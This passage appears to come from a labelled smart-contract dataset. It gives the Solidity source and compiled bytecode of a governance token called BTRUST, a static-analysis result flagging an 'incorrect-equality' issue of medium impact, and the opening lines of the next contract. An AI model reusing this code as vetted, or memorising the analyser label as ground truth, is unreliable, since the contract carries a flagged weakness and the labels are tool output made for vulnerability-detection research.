string public constant symbol = "BTRUST";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 250000000e18; // 250 million BTRUST
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new BTRUST token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "BTRUST::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "BTRUST::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "BTRUST::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "BTRUST::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BTRUST::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BTRUST::delegateBySig: invalid nonce");
require(now <= expiry, "BTRUST::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "BTRUST::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "BTRUST::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "BTRUST::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "BTRUST::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "BTRUST::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "BTRUST::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "BTRUST::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "BTRUST::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612866565b60405180910390f35b61015e6004803603610159919081019061214d565b61045c565b60405161016b9190612761565b60405180910390f35b61017c6105ee565b604051610189919061296a565b60405180910390f35b61019a6105fd565b6040516101a7919061277c565b60405180910390f35b6101ca60048036036101c591908101906120fe565b610614565b6040516101d79190612761565b60405180910390f35b6101e86108a6565b6040516101f591906129c9565b60405180910390f35b61021860048036036102139190810190612099565b6108ab565b6040516102259190612746565b60405180910390f35b61024860048036036102439190810190612099565b6108de565b005b610264600480360361025f9190810190612099565b6108eb565b6040516102719190612985565b60405180910390f35b610294600480360361028f9190810190612099565b61090e565b6040516102a1919061296a565b60405180910390f35b6102c460048036036102bf919081019061214d565b61097d565b6040516102d191906129ff565b60405180910390f35b6102f460048036036102ef9190810190612099565b610d90565b604051610301919061296a565b60405180910390f35b610312610da8565b60405161031f9190612866565b60405180910390f35b610342600480360361033d919081019061214d565b610de1565b60405161034f9190612761565b60405180910390f35b610372600480360361036d9190810190612099565b610e1e565b60405161037f91906129ff565b60405180910390f35b6103a2600480360361039d9190810190612189565b610f0c565b005b6103be60048036036103b991908101906120c2565b6111af565b6040516103cb919061296a565b60405180910390f35b6103dc61125b565b6040516103e9919061277c565b60405180910390f35b61040c60048036036104079190810190612212565b611272565b60405161041a9291906129a0565b60405180910390f35b6040518060400160405280600681526020017f425452555354000000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060278152602001612c3a602791396112cb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e4565b60405180910390a3600191505092915050565b6acecb8f27f4200f3a00000081565b6040516106099061271c565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d685604051806060016040528060278152602001612c3a602791396112cb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088d57600061077a83836040518060600160405280603f8152602001612d12603f9139611329565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088391906129e4565b60405180910390a3505b61089887878361139a565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e8338261177b565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b89061292a565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2e576000915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb1576000915050610d8a565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0c576000600283830363ffffffff1681610be757fe5b0482039050610bf4612002565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce457806020015195505050505050610d8a565b86816000015163ffffffff161015610cfe57819350610d05565b6001820392505b5050610bbf565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600681526020017f425452555354000000000000000000000000000000000000000000000000000081525081565b600080610e0683604051806060016040528060288152602001612cc1602891396112cb565b9050610e1333858361139a565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e88576000610f04565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1a9061271c565b60405180910390206040518060400160405280600681526020017f425452555354000000000000000000000000000000000000000000000000000081525080519060200120610f6761193b565b30604051602001610f7b94939291906127dc565b6040516020818303038152906040528051906020012090506000604051610fa190612731565b6040518091039020888888604051602001610fbf9493929190612797565b60405160208183030381529060405280519060200120905060008282604051602001610fec9291906126e5565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516110299493929190612821565b6020604051602081039080840390855afa15801561104b573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be906128ea565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d906128ca565b60405180910390fd5b87421115611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061290a565b60405180910390fd5b6111a3818b61177b565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126790612731565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113169190612888565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113849190612888565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114019061294a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611471906128aa565b60405180910390fd5b6114f4600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060388152602001612bd060389139611329565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115db600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060328152602001612c0860329139611948565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a591906129e4565b60405180910390a3611776600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119be565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119358284836119be565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a99190612888565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0857506000816bffffffffffffffffffffffff16115b15611cb457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b60576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aab576000611b27565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4e82856040518060600160405280602a8152602001612c97602a9139611329565b9050611b5c86848484611cb9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bfe576000611c7a565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca18285604051806060016040528060298152602001612ce960299139611948565b9050611caf85848484611cb9565b5050505b5b505050565b6000611cdd43604051806060016040528060368152602001612c6160369139611fac565b905060008463ffffffff16118015611d7257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f55565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9d929190612a1a565b60405180910390a25050505050565b600064010000000083108290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612888565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061203f81612b5c565b92915050565b60008135905061205481612b73565b92915050565b60008135905061206981612b8a565b92915050565b60008135905061207e81612ba1565b92915050565b60008135905061209381612bb8565b92915050565b6000602082840312156120ab57600080fd5b60006120b984828501612030565b91505092915050565b600080604083850312156120d557600080fd5b60006120e385828601612030565b92505060206120f485828601612030565b9150509250929050565b60008060006060848603121561211357600080fd5b600061212186828701612030565b935050602061213286828701612030565b92505060406121438682870161205a565b9150509250925092565b6000806040838503121561216057600080fd5b600061216e85828601612030565b925050602061217f8582860161205a565b9150509250929050565b60008060008060008060c087890312156121a257600080fd5b60006121b089828a01612030565b96505060206121c189828a0161205a565b95505060406121d289828a0161205a565b94505060606121e389828a01612084565b93505060806121f489828a01612045565b92505060a061220589828a01612045565b9150509295509295509295565b6000806040838503121561222557600080fd5b600061223385828601612030565b92505060206122448582860161206f565b9150509250929050565b61225781612a75565b82525050565b61226681612a87565b82525050565b61227581612a93565b82525050565b61228c61228782612a93565b612b41565b82525050565b600061229d82612a4e565b6122a78185612a59565b93506122b7818560208601612b0e565b6122c081612b4b565b840191505092915050565b60006122d682612a43565b6122e08185612a59565b93506122f0818560208601612b0e565b6122f981612b4b565b840191505092915050565b6000612311603c83612a59565b91507f4254525553543a3a5f7472616e73666572546f6b656e733a2063616e6e6f742060008301527f7472616e7366657220746f20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612377602483612a59565b91507f4254525553543a3a64656c656761746542795369673a20696e76616c6964206e60008301527f6f6e6365000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123dd600283612a6a565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061241d602883612a59565b91507f4254525553543a3a64656c656761746542795369673a20696e76616c6964207360008301527f69676e61747572650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612483602883612a59565b91507f4254525553543a3a64656c656761746542795369673a207369676e617475726560008301527f20657870697265640000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124e9602983612a59565b91507f4254525553543a3a6765745072696f72566f7465733a206e6f7420796574206460008301527f657465726d696e656400000000000000000000000000000000000000000000006020830152604082019050919050565b600061254f604383612a6a565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006125db603a83612a6a565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000612641603e83612a59565b91507f4254525553543a3a5f7472616e73666572546f6b656e733a2063616e6e6f742060008301527f7472616e736665722066726f6d20746865207a65726f206164647265737300006020830152604082019050919050565b6126a381612abd565b82525050565b6126b281612ac7565b82525050565b6126c181612ad7565b82525050565b6126d081612afc565b82525050565b6126df81612ae4565b82525050565b60006126f0826123d0565b91506126fc828561227b565b60208201915061270c828461227b565b6020820191508190509392505050565b600061272782612542565b9150819050919050565b600061273c826125ce565b9150819050919050565b600060208201905061275b600083018461224e565b92915050565b6000602082019050612776600083018461225d565b92915050565b6000602082019050612791600083018461226c565b92915050565b60006080820190506127ac600083018761226c565b6127b9602083018661224e565b6127c6604083018561269a565b6127d3606083018461269a565b95945050505050565b60006080820190506127f1600083018761226c565b6127fe602083018661226c565b61280b604083018561269a565b612818606083018461224e565b95945050505050565b6000608082019050612836600083018761226c565b61284360208301866126b8565b612850604083018561226c565b61285d606083018461226c565b95945050505050565b6000602082019050818103600083015261288081846122cb565b905092915050565b600060208201905081810360008301526128a28184612292565b905092915050565b600060208201905081810360008301526128c381612304565b9050919050565b600060208201905081810360008301526128e38161236a565b9050919050565b6000602082019050818103600083015261290381612410565b9050919050565b6000602082019050818103600083015261292381612476565b9050919050565b60006020820190508181036000830152612943816124dc565b9050919050565b6000602082019050818103600083015261296381612634565b9050919050565b600060208201905061297f600083018461269a565b92915050565b600060208201905061299a60008301846126a9565b92915050565b60006040820190506129b560008301856126a9565b6129c260208301846126d6565b9392505050565b60006020820190506129de60008301846126b8565b92915050565b60006020820190506129f960008301846126c7565b92915050565b6000602082019050612a1460008301846126d6565b92915050565b6000604082019050612a2f60008301856126c7565b612a3c60208301846126c7565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8082612a9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0782612ae4565b9050919050565b60005b83811015612b2c578082015181840152602081019050612b11565b83811115612b3b576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6581612a75565b8114612b7057600080fd5b50565b612b7c81612a93565b8114612b8757600080fd5b50565b612b9381612abd565b8114612b9e57600080fd5b50565b612baa81612ac7565b8114612bb557600080fd5b50565b612bc181612ad7565b8114612bcc57600080fd5b5056fe4254525553543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654254525553543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734254525553543a3a617070726f76653a20616d6f756e74206578636565647320393620626974734254525553543a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734254525553543a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734254525553543a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734254525553543a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734254525553543a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a365627a7a72315820f2f9fccf3817772b13f62ea258479c0dac8d4a39e21159384171401461e4785a6c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,136 |
0xab9e54622bf5a73af74146b7c1ac8c9445794c54 | pragma solidity 0.4.21;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
